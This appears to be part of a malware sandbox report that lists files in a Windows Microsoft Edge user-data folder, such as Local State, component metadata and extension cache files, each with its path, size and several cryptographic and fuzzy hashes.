SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 bdd8db2e177bbca94588e4f09700ff41150d8c8aa0ab36ac6befdeb207b57ca5
MD5 7018e667c0e8eb24fcf7164608977c36
SHA1 aaa9c94166c7382d26e7f6d52dcc63b31478b032
SHA512 4686e8d8dc5a5be1252de4acdc4c7fd44cf7ea6218a78e755a189ae1b04a93bc857aed41de93f645b04e71e8e31241d0c37bf660501b88ff011fd584d1ba9438
SSDEEP 768:wGFQP3Xwg3/xsOW1r+1ONXyer1IRCzni9/2ewBKZOw7:CP3VjSIqnI2evZ17
TLSH
T165039E31D994CE379DE6A7C6F706B287AEF410A3C4C899E4EAD96E4D00D359E130BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 d9163ed649522db957e376d87a8d677747c1e88f099b473a2337323cee1ba5a6
MD5 2c025bd53d3cf8990781d2f2ea631fd3
SHA1 53c91c8dd9a3dec081a597af5cb51148453852ea
SHA512 6cea7e72570d80f318d3fec6419a67f8f1505cbd23b310d9e280d8ce0d37ccc436d57d050cba405c0f431a994dea97e1512f645e91081ca766c590b2701a5d00
SSDEEP 768:G+3/M/TBOW1r+mONXyer1IRCzni9/2ewBKZOw7:G+3EJSIqnI2evZ17
TLSH
T114F2BF70E5659D338DEAF396B50373836EF810B3D4C41A64E9EA6F1D0593A5E130B817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 b01a12ee46118417982922818e59fe88c0433b7545e2a2f5e3b69226f57aada3
MD5 3649bd34202bdf683449368ee0c41011
SHA1 9336c9dd8f55340c0ec15cc96aaccf0d5476b766
SHA512 a6545fa7aba79983b4fbf64319df4a337086812c07d8fc01d36ba5ea3b68aa26556cb97905a941df7f4b3380265175746426374e61a8f8a7c9c3b004e5adc24a
SSDEEP 768:hrv+4UNbdz3H7/TBOW1PONXyer1IRCzniBseVH1SK7:hbsbV3b/SIqnrEH1l
TLSH
T1CB03C032E5989E338CE2A3D6B047B6437FB86057D6800790DDDE2F4E069B59E130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 5c4446b950b9539ff3c32ebb74f3e003abce07921499cd6f57235b3054e5c4c4
MD5 f783417534dc316f39e3c8dd81559ecb
SHA1 f6de3f1144bbcd500f6b8b528a864f1676f019ae
SHA512 1b07bfef3d93977d6361e1ec5cee8b305ab44cdbb4ad5d0f3607488d9e3baead7924519b237c2c7e00c387444ca71fd81f0ac9fd3615c3c25fd131bb6651ce2e
SSDEEP 768:arv+4UNbdh3+M/TBOW1r+/ONXyer1IRCzni9/eVH1SK3:absbf3FqSIqnIEH1R
TLSH
T15C13C031E5A8DE334DE6E395B147B6837FB82067C4800B94E9E62F4D099799E130F917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 b20d41016bae60df04f35d83a495dc849a61b4caa47a562ea7896c15d7f3202c
MD5 6d5e84c30ebe9cd3c9f58ceeade718b9
SHA1 fa5ff2528d1ceb6fb24a06b81d9269ccd9c4415a
SHA512 316d4753b1adef1c0144413222008c5cedb280be94b03a8856ddffba6cbbb2e05e2687b23bee64330934ec3dbfb1851db94175a01efc194ff29c0b06b81f5dd6
SSDEEP 768:frv+4UNbdz3M+/TBOW1r+yONXyer1IRCzniw/eVH1SK7:fbsbV3ZBSIqnbEH1l
TLSH
T12E03BF31E199DE334DE6A395B147B2837FB82067C5800B90EDDA2F8D099759E230F957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 732B
SHA256 cf5e5467ab3de71fcb419acbbb754c3effd5e787864ffa7c767f24ff9bbe5ae3
MD5 87299a8105078d6252386ba9d333ff05
SHA1 c43e027b4174d2ae2c7f138de07b18ac0407148a
SHA512 f6678cce079ae97838bf5aebf3c195a2c82d27dd6546fd7e5428396130ca4bd2c809f2d2edca4f130da479624c3418beffe998ae1a032451706b9a47bad62885
TLSH
T1670110D14C3E1AC3C6B90EAFE04717EC40C89512B0D8387818CDF8A4917A41E345182E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 612B
SHA256 918167fab0fb4435546513252415c1a2e44b6e8e60caf6f31d07587ba0a71ab0
MD5 5ca920f0e1c81dfb329b916e242a4065
SHA1 1d068ad79883fd23c27647c98e761858e46f48cd
SHA512 2b99239123f922883dea3137835bb8b74713799981e5aa1434ea70db85e7666f2372db684f94bb599ecff70c8c31d02286b0587ffe620333eb1d4bbc7feb84b8
TLSH
T11DF002D04C3E19C3D5B90E6EA40717EC50D45517B0D8383804CDE894D07A05E315183E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 852B
SHA256 cc631188ae4a22c0621e596be3d4335218373ee3aafe98bb7b213069a0dc3b70
MD5 1a8162cc03c34509f59ea81728419884
SHA1 459f726ff17ed37a212bf5291cc592b4745c3c06
SHA512 129393fb77432dda8e2c4181dc778f609f56572e69213f9f8cffc544b845119929242d41078170b2dc72a678116df340544edb181c2aff069f8cd4ac2a541083
TLSH
T1E8011ED14C7E1AC7CABE0EAEA0872BEC44D86522B098347818CCF864917940E3451C3E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

0eb45961-20f1-46ab-ab84-bbf1f164dd9f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\0eb45961-20f1-46ab-ab84-bbf1f164dd9f.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9b6d2317-d832-4b12-9fdb-ab69c5cb8049.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\9b6d2317-d832-4b12-9fdb-ab69c5cb8049.tmp
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download